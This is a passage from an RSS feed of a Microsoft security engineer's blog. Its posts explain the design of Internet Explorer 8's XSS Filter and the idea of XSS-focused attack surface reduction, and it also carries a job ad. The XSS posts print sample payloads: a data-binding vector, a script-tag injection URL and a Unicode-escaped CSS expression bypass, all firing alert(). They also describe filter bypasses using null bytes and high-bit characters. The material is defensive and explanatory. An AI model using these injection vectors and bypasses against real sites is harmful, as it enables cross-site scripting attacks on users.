xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=8687752</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx#comments</comments><description>&lt;P&gt;It's great to see some &lt;A class="" href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;taxonomyName=networking_and_internet&amp;amp;articleId=9106238&amp;amp;taxonomyId=16" mce_href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;taxonomyName=networking_and_internet&amp;amp;articleId=9106238&amp;amp;taxonomyId=16"&gt;positive&lt;/A&gt; &lt;A class="" href="http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1319861,00.html" mce_href="http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1319861,00.html"&gt;reaction&lt;/A&gt; to the &lt;EM&gt;potential&lt;/EM&gt; of our XSS Filter.&amp;nbsp; Now we just need to deliver!&lt;/P&gt;
&lt;P&gt;In this blog post I’ll try to shed some light on our design philosophy.&lt;/P&gt;
&lt;P&gt;To understand how we have arrived at our current filtering approach, it is useful to look back to the XSS Filter’s very beginnings.&amp;nbsp; Version 1.0 of the XSS Filter prototype, originally released within Microsoft back in 2002, provided users with the following (ugly!) prompt:&lt;/P&gt;
&lt;P&gt;&lt;IMG title="XSSFilter v1.0 UI" style="WIDTH: 555px; HEIGHT: 281px" height=281 alt="XSSFilter v1.0 UI" src="http://blogs.msdn.com/photos/dross/images/9472192/original.aspx" width=555 mce_src="http://blogs.msdn.com/photos/dross/images/9472192/original.aspx"&gt;&lt;/P&gt;Clearly this is &lt;STRONG&gt;not&lt;/STRONG&gt; something that everyday users would understand or find acceptable!&amp;nbsp; We needed to find a way to make the filtering automatic and painless and thus provide maximum benefit to users. 
&lt;P&gt;The approach we are taking today in Internet Explorer 8 doesn’t simply examine URL / POST data for evidence of XSS – it is capable of validating that an XSS attack has been replayed into the response.&amp;nbsp; Having identified the replayed XSS, we then have the capability to neuter the XSS on the page in a highly targeted fashion.&amp;nbsp; Thus, the XSS Filter can be effective without modifying an initial request to the server or blocking an entire response.&lt;/P&gt;
&lt;P&gt;The detection of reflections hones our targeting as well – you can’t have “reflected XSS” without the reflection!&lt;/P&gt;
&lt;P&gt;Our XSS Filter design goals do not equate success with blocking every conceivable attack technique.&amp;nbsp; Consider that a reported bug might fall into one of the following categories:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;Straightforward implementation flaws.&lt;BR&gt;&lt;BR&gt;Example:&amp;nbsp; A buffer overrun when a specially crafted URL is passed to the XSS Filter code.&lt;BR&gt;&lt;BR&gt;Any feature, the XSS Filter included, must consider this to be a severe vulnerability.&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;
&lt;LI&gt;Mechanisms to bypass the XSS Filter in the general sense.&lt;BR&gt;&lt;BR&gt;Example:&amp;nbsp; As the XSS Filter was being developed, we identified that URLs that including a %00 were processed by the XSS Filter in such a way that the %00 would decode to a null byte.&amp;nbsp; This would result in termination of the string we were using to process the URL.&amp;nbsp; A real attack could then pass through unfiltered after the null byte.&lt;BR&gt;&lt;BR&gt;To be successful, the XSS Filter must address any issue like this that thwarts its &lt;U&gt;overall&lt;/U&gt; effectiveness.&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;
&lt;LI&gt;Mechanisms to bypass the XSS Filter’s protection for certain specific XSS attack scenarios.&lt;BR&gt;&lt;BR&gt;Example #1: Internet Explorer 7 will effectively ignore the high-bit of each character on a page in the US-ASCII character set.&amp;nbsp; So when a web page outputs a page in US-ASCII, or can be forced to do so, it was possible to bypass the XSS Filter by setting the high-bit on bytes in the querystring.&amp;nbsp; (This is &lt;A class="" href="http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx" mce_href="http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx"&gt;resolved in Internet Explorer 8&lt;/A&gt;.)&lt;BR&gt;&lt;BR&gt;If we had not addressed this issue, the XSS Filter would be ineffective when the victim page used the US-ASCII character set (either by default or because it was &lt;A class="" href="http://sla.ckers.org/forum/read.php?3,3109" mce_href="http://sla.ckers.org/forum/read.php?3,3109"&gt;forced&lt;/A&gt;).&amp;nbsp; This would be a serious limitation of the XSS Filter but ultimately it wouldn’t be a deal-breaker – for the &lt;A class="" href="http://news.cnet.com/8301-13580_3-9936329-39.html" mce_href="http://news.cnet.com/8301-13580_3-9936329-39.html"&gt;growing majority of sites using Unicode&lt;/A&gt; the XSS Filter’s effectiveness would remain unchallenged.&lt;BR&gt;&lt;BR&gt;Example #2:&amp;nbsp; The XSS Filter would not be effective if a web app were to &lt;A class="" href="http://en.wikipedia.org/wiki/Rot13" mce_href="http://en.wikipedia.org/wiki/Rot13"&gt;ROT13&lt;/A&gt; decode data from the querystring before replaying it back to the client.&amp;nbsp; For attacks that depend on application-specific transformations, we will only attempt to make the XSS Filter effective where these transformations are identified to be pervasive.&lt;BR&gt;&lt;BR&gt;We choose not to ROT13 decode URLs.&amp;nbsp; :-)&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;
&lt;LI&gt;Specific new XSS attack vectors.&lt;BR&gt;&lt;BR&gt;Example:&amp;nbsp; The following use of data binding will result in the execution of script within IE:&lt;BR&gt;&lt;BR&gt;&lt;CODE&gt;&amp;lt;xml id=cdcat&amp;gt;&amp;lt;note&amp;gt;&amp;lt;to&amp;gt;%26lt;span style=x:exp&amp;lt;![CDATA[r]]&amp;gt;ession(alert(3))%26gt;hello%26lt;/span%26gt;&amp;lt;/to&amp;gt;&amp;lt;/note&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;table border=%221%22 datasrc=%22%23cdcat%22&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;span datafld=%22to%22 DATAFORMATAS=html&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&lt;/CODE&gt;&lt;BR&gt;&lt;BR&gt;Note there is no SCRIPT tag present.&amp;nbsp; There are many similar obscure script execution techniques present in all browsers.&amp;nbsp; These are often called “XSS attack vectors” and many such techniques are archived on &lt;A class="" href="http://ha.ckers.org/xss.html" mce_href="http://ha.ckers.org/xss.html"&gt;RSnake’s cheat sheet&lt;/A&gt;.&amp;nbsp; The XSS Filter does handle this particular XSS attack vector.&lt;BR&gt;&lt;BR&gt;In the general case, we recognize the need to address additional new&amp;nbsp;reflected (Type-1)&amp;nbsp;XSS attack vectors as they are identified.&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;&lt;/OL&gt;
&lt;P&gt;Observe the distinctions between the different bug categories listed above.&amp;nbsp; The most important takeaway is our level of pragmatism especially in category #3 above.&amp;nbsp; We will not be lead to compromise the XSS Filter’s web site compatibility by attempting to address every conceivable XSS attack scenario.&lt;/P&gt;
&lt;P&gt;In summary, the XSS Filter will prove its worth by raising the bar and mitigating the types of XSS most commonly found across the web today, &lt;STRONG&gt;by default&lt;/STRONG&gt;, for users of Internet Explorer 8.&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8687752" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>IE8 goes on the offensive against XSS!</title><link>http://blogs.msdn.com/b/dross/archive/2008/07/02/ie8-goes-on-the-offensive-against-xss.aspx</link><pubDate>Wed, 02 Jul 2008 19:29:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8681670</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=8681670</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2008/07/02/ie8-goes-on-the-offensive-against-xss.aspx#comments</comments><description>IE has announced &lt;A class="" href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx" mce_href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx"&gt;the new XSS Filter feature&lt;/A&gt; which will debut in IE8 Beta 2!&amp;nbsp; Stay tuned to my blog in the coming weeks for more details on how the filter works, its history, its limitations, and some lessons learned during the development process.&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8681670" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>Lead my team!</title><link>http://blogs.msdn.com/b/dross/archive/2008/05/16/lead-my-team.aspx</link><pubDate>Sat, 17 May 2008 09:50:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8516793</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=8516793</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2008/05/16/lead-my-team.aspx#comments</comments><description>&lt;P&gt;My team (SWI React) is &lt;A class="" href="http://members.microsoft.com/careers/search/details.aspx?JobID=AC23BFDB-512A-4C26-8098-14ABD13E0627" mce_href="http://members.microsoft.com/careers/search/details.aspx?JobID=AC23BFDB-512A-4C26-8098-14ABD13E0627"&gt;hiring for a lead position&lt;/A&gt;.&amp;nbsp; Details:&lt;/P&gt;
&lt;P&gt;
&lt;TABLE class="" cellSpacing=0 cellPadding=0 width="100%" border=0&gt;&lt;SPAN id=m_JobDetails_m_ExtPanel&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class="" vAlign=top align=left width="50%"&gt;
&lt;TABLE class="" id=Table3 cellSpacing=0 cellPadding=0 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class=bodytext vAlign=top class="bodytext"&gt;&lt;EM&gt;&lt;B&gt;Job Title:&lt;/B&gt;&amp;nbsp;Lead Software Development Engineer&lt;/EM&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;TABLE class="" id=Table5 cellSpacing=0 cellPadding=0 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class=bodytext vAlign=top class="bodytext"&gt;&lt;EM&gt;&lt;B&gt;Job Category:&amp;nbsp;&lt;/B&gt;Software Development&lt;/EM&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;TABLE class="" id=Table7 cellSpacing=0 cellPadding=0 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class=bodytext vAlign=top class="bodytext"&gt;&lt;EM&gt;&lt;B&gt;Product:&amp;nbsp;&lt;/B&gt;Trustworthy Computing&lt;/EM&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;TABLE class="" id=Table8 cellSpacing=0 cellPadding=0 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class=bodytext vAlign=top class="bodytext"&gt;&lt;EM&gt;&lt;B&gt;Date Posted:&amp;nbsp;&lt;/B&gt;02/16/2008&lt;/EM&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/TD&gt;
&lt;TD class="" vAlign=top width=5 rowSpan=5&gt;&lt;EM&gt;&lt;IMG height=1 src="http://members.microsoft.com/careers/images/spacer.gif" width=5&gt;&lt;/EM&gt;&lt;/TD&gt;
&lt;TD class="" vAlign=top align=left width="50%"&gt;
&lt;TABLE class="" id=Table2 cellSpacing=0 cellPadding=0 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class=bodytextnopadding vAlign=top class="bodytextnopadding"&gt;&lt;EM&gt;&lt;B&gt;Job Code:&amp;nbsp;&lt;/B&gt;223577&lt;/EM&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;TABLE class="" id=Table1 cellSpacing=0 cellPadding=0 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class=bodytextnopadding vAlign=top class="bodytextnopadding"&gt;&lt;EM&gt;&lt;B&gt;Location:&amp;nbsp;&lt;/B&gt;WA - Redmond&lt;/EM&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;TABLE class="" id=Table9 cellSpacing=0 cellPadding=0 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class=bodytextnopadding vAlign=top class="bodytextnopadding"&gt;&lt;B&gt;&lt;EM&gt;Travel Required:&amp;nbsp;&lt;/EM&gt;&lt;/B&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;TABLE class="" id=Table10 cellSpacing=0 cellPadding=0 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class=bodytextnopadding vAlign=top class="bodytextnopadding"&gt;&lt;EM&gt;&amp;nbsp;&lt;/EM&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/SPAN&gt;
&lt;TR&gt;
&lt;TD class="" vAlign=top colSpan=3 height=2&gt;&lt;EM&gt;&lt;IMG height=2 src="http://members.microsoft.com/careers/images/spacer.gif" width=1&gt;&lt;/EM&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=bodytext align=left colSpan=3 class="bodytext"&gt;
&lt;DIV align=justify&gt;&lt;EM&gt;Do you consider yourself a hacker? Is breaking code a passion? And more importantly, can you teach others how to leverage your thinking? Microsoft’s SWI React team is looking for a someone to lead an elite group of hackers on a mission to protect 440 million people from software vulnerabilities. As the Lead Security Software engineer, you will utilize both your world-class code hacking skills and passion for leading teams as you help deliver a superior, trustworthy set of products to our customers. You will be responsible for analyzing and performing penetration testing on all externally reported vulnerabilities across Microsoft’s diverse product base. To be considered for this position you must have:&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Passion for trustworthy computing &amp;amp; software security&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ability to stay up to date and adapt to the ever evolving security ecosystem&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Proven people management skills with initiative around growing others&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Experience with organizational goal setting &amp;amp; KPI measurement&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Strong cross group collaboration capabilities - up, down and across.&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Deep customer and partner focus with the willingness to improve offerings and workflow &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Knowledge of common hacking/network tools, exploit writing, networking, cryptography, penetration testing, assembler is a plus.&lt;/EM&gt;&lt;/DIV&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8516793" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/General/">General</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category></item><item><title>XSS-Focused Attack Surface Reduction</title><link>http://blogs.msdn.com/b/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx</link><pubDate>Mon, 10 Mar 2008 23:06:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8137543</guid><dc:creator>dross</dc:creator><slash:comments>4</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=8137543</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx#comments</comments><description>&lt;P&gt;All web browsers expose what have been referred to as XSS “attack vectors” – various techniques that XSS attacks can leverage to achieve script execution.&amp;nbsp; The best and most well regarded list of these behaviors is RSnake’s &lt;A href="http://ha.ckers.org/xss.html" mce_href="http://ha.ckers.org/xss.html"&gt;XSS Cheat Sheet&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;The existence of these attack vectors can at minimum present a challenge to filters and other technologies which attempt to block XSS.&amp;nbsp; But more fundamentally, XSS attack vectors enable XSS bugs that would not otherwise exist.&amp;nbsp; This is the essential argument for what I term &lt;U&gt;XSS-Focused Attack Surface Reduction&lt;/U&gt;.&lt;/P&gt;
&lt;P&gt;Let’s explore one example.&lt;/P&gt;
&lt;P&gt;Finding a useful &lt;A href="http://en.wikipedia.org/wiki/Cross-site_scripting#Non-Persistent" mce_href="http://en.wikipedia.org/wiki/Cross-site_scripting#Non-Persistent"&gt;reflected XSS&lt;/A&gt; bug usually involves identifying a server that will replay data from a URL which is then interpreted by the browser as script.&amp;nbsp; Often constraints are placed on how the attack must be constructed.&amp;nbsp; This can result from ineffective filtering that has been put in place or simply due to incidental non-security related filtering at the server.&lt;/P&gt;
&lt;P&gt;Here is a simple example attack URL:&lt;/P&gt;
&lt;TABLE class=MsoNormalTable style="BACKGROUND: #e0e0e0; MARGIN: auto auto auto 5.75pt; BORDER-COLLAPSE: collapse; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 0in 0in 0in" cellSpacing=0 cellPadding=0 border=0 class="MsoNormalTable"&gt;
&lt;TBODY&gt;
&lt;TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes; mso-yfti-lastrow: yes"&gt;
&lt;TD class="" style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.75pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.75pt; PADDING-BOTTOM: 0.05in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 100%; PADDING-TOP: 0.05in; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent" vAlign=top width=832&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 3pt; LINE-HEIGHT: 120%; TEXT-ALIGN: justify"&gt;&lt;SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 120%; FONT-FAMILY: 'Courier New'"&gt;http://[server]/[path]/[file].asp?id=70-305zzz&amp;lt;script&amp;gt;alert();&amp;lt;/script&amp;gt;&lt;?xml:namespace prefix = o /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;P&gt;The script element in the URL is injected into the server’s HTTP response as valid HTML.&amp;nbsp; This vulnerability was addressed with server-side validation.&amp;nbsp; However, the following variation was later identified, demonstrating the validation to be insufficient:&lt;/P&gt;
&lt;TABLE class=MsoNormalTable style="BACKGROUND: #e0e0e0; MARGIN: auto auto auto 5.75pt; BORDER-COLLAPSE: collapse; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 0in 0in 0in" cellSpacing=0 cellPadding=0 border=0 class="MsoNormalTable"&gt;
&lt;TBODY&gt;
&lt;TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes; mso-yfti-lastrow: yes"&gt;
&lt;TD class="" style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.75pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.75pt; PADDING-BOTTOM: 0.05in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 100%; PADDING-TOP: 0.05in; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent" vAlign=top width=584&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 3pt; LINE-HEIGHT: 120%; TEXT-ALIGN: justify"&gt;&lt;SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 120%; FONT-FAMILY: 'Courier New'"&gt;http://[server]/[path]/[file].asp?id=70-305zzz+"+style="background-position-x:expression\0028\0065\0076\0061\006C\0028\0061\006C\0065\0072\0074\0028\0027pwn3d\0027\0029\0029\0029&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;P&gt;This variation makes use Internet Explorer's support for &lt;A class="" title="Dynamic Properties" href="http://msdn2.microsoft.com/en-us/library/ms537634(VS.85).aspx" mce_href="http://msdn2.microsoft.com/en-us/library/ms537634(VS.85).aspx"&gt;Dynamic Properties&lt;/A&gt;.&amp;nbsp; The character sequence at the end of the URL is an encoded block of Javascript.&amp;nbsp; While the validation put into place at the server prevents an element from being closed off with a greater-than symbol, it does not prevent the addition of a new STYLE attribute on the element which can contain&amp;nbsp;a Dynamic Property&amp;nbsp;that Internet Explorer will then execute.&lt;/P&gt;
&lt;P&gt;The idea of XSS-Focused Attack Surface Reduction&amp;nbsp;is that we can&amp;nbsp;view&amp;nbsp;each instance of XSS as having been&amp;nbsp;enabled by&amp;nbsp;one of a finite number of XSS attack vectors existing in the browser.&amp;nbsp; Then&amp;nbsp;we can look at ways to regulate each of those&amp;nbsp;vectors&amp;nbsp;in order to&amp;nbsp;reduce the browser's&amp;nbsp;susceptibility to XSS.&lt;/P&gt;
&lt;P&gt;In this example above, the vector is&amp;nbsp;a behavior exposed by the&amp;nbsp;Dynamic Properties feature.&amp;nbsp; The&amp;nbsp;Dynamic Properties feature&amp;nbsp;provides real value as a feature in the browser, so it’s difficult to perform XSS-Focused Attack Surface Reduction without serious compatibility impact.&amp;nbsp; It’s something we have been looking at closely though.&lt;/P&gt;
&lt;P&gt;Fortunately, it turns out that in many cases XSS attack vectors are incidental behavior unlikely to be put to use by legitimate web content.&amp;nbsp; In these cases, XSS-Focused Attack Surface Reduction becomes much more feasible.&amp;nbsp;&lt;/P&gt;
&lt;P&gt;In Internet Explorer 7, an effort was made to reduce vulnerabilities involving the use of the special “javascript:” and “vbscript:” URL syntax.&amp;nbsp; Specifically, these URLs were disabled in some contexts.&amp;nbsp; This actually wasn’t intended to mitigate XSS per-se, but it was in fact an effective instance of XSS-Focused Attack Surface Reduction.&amp;nbsp; This is because the use of javascript:/vbscript: URLs in unusual places such as IMG or EMBED tags often enabled XSS where it wouldn’t otherwise be possible.&amp;nbsp; It was great to see that after we released IE7, &lt;A href="http://ha.ckers.org/blog/20061014/xss-cheat-sheet-updated-for-ie70" mce_href="http://ha.ckers.org/blog/20061014/xss-cheat-sheet-updated-for-ie70"&gt;RSnake noticed the change and updated his cheat sheet&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;Essentially, the change described above translates to one less tool available in the XSS exploit author’s toolbox.&amp;nbsp; This is what XSS-Focused Attack Surface Reduction strives to achieve.&lt;/P&gt;
&lt;P&gt;I’m happy to report that IE8&amp;nbsp;is delivering&amp;nbsp;additional XSS-Focused Attack Surface Reduction goodness.&amp;nbsp;&amp;nbsp;For Beta 1 you will notice a small but notable step forward – the &lt;/FONT&gt;&lt;A href="http://blogs.msdn.com/dross/archive/2006/10/01/780339.aspx" mce_href="http://blogs.msdn.com/dross/archive/2006/10/01/780339.aspx"&gt;US-ASCII XSS attack vector&lt;/A&gt; has now been closed.&amp;nbsp; RSnake, feel free to update your cheat sheet once again.&amp;nbsp; &lt;SPAN style="FONT-FAMILY: Wingdings"&gt;J&lt;/SPAN&gt;&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8137543" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>The Kill-Bit FAQ - Part 1 of 3 posted to SVRD blog</title><link>http://blogs.msdn.com/b/dross/archive/2008/02/06/the-kill-bit-faq-part-1-of-3-posted-to-svrd-blog.aspx</link><pubDate>Wed, 06 Feb 2008 21:21:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:7495942</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=7495942</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2008/02/06/the-kill-bit-faq-part-1-of-3-posted-to-svrd-blog.aspx#comments</comments><description>&lt;P&gt;Check out my&amp;nbsp;ActiveX&amp;nbsp;&lt;A class="" title="Kill-Bit FAQ" href="http://blogs.technet.com/swi/archive/2008/02/06/The-Kill_2D00_Bit-FAQ_3A00_-Part-1-of-3.aspx" mce_href="http://blogs.technet.com/swi/archive/2008/02/06/The-Kill_2D00_Bit-FAQ_3A00_-Part-1-of-3.aspx"&gt;Kill-Bit FAQ&lt;/A&gt;&amp;nbsp;which is now&amp;nbsp;being posted&amp;nbsp;to the &lt;A class="" title="SVRD blog" href="http://blogs.technet.com/swi/" mce_href="http://blogs.technet.com/swi/"&gt;SVRD blog&lt;/A&gt;.&amp;nbsp; There are three parts, the first of which is now live.&amp;nbsp; Parts two and three should be up by the end of the week.&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=7495942" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Kill_2D00_Bit/">Kill-Bit</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/ActiveX/">ActiveX</category></item><item><title>Security Vulnerability Research &amp; Defense blog</title><link>http://blogs.msdn.com/b/dross/archive/2007/12/27/security-vulnerability-research-defense-blog.aspx</link><pubDate>Fri, 28 Dec 2007 06:18:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:6881532</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=6881532</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2007/12/27/security-vulnerability-research-defense-blog.aspx#comments</comments><description>&lt;P&gt;My team now has a blog!&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.technet.com/swi/"&gt;http://blogs.technet.com/swi/&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;I'll be contributing to the team blog in the future.&amp;nbsp; But don't worry --&amp;nbsp;my personal&amp;nbsp;blog (this one)&amp;nbsp;isn't going away!&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=6881532" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category></item><item><title>MashupOS</title><link>http://blogs.msdn.com/b/dross/archive/2007/09/12/mashupos.aspx</link><pubDate>Wed, 12 Sep 2007 20:34:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:4882947</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=4882947</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2007/09/12/mashupos.aspx#comments</comments><description>&lt;P&gt;The&amp;nbsp;standard IFRAME-based&amp;nbsp;isolation technique for web apps&amp;nbsp;is starting to show its age.&amp;nbsp; We need something better!&lt;/P&gt;
&lt;P&gt;Microsoft Research has posted a&amp;nbsp;new paper scheduled to appear at &lt;A class="" title="SOSP '07" href="http://www.sosp2007.org/" mce_href="http://www.sosp2007.org/"&gt;SOSP '07&lt;/A&gt;:&lt;/P&gt;
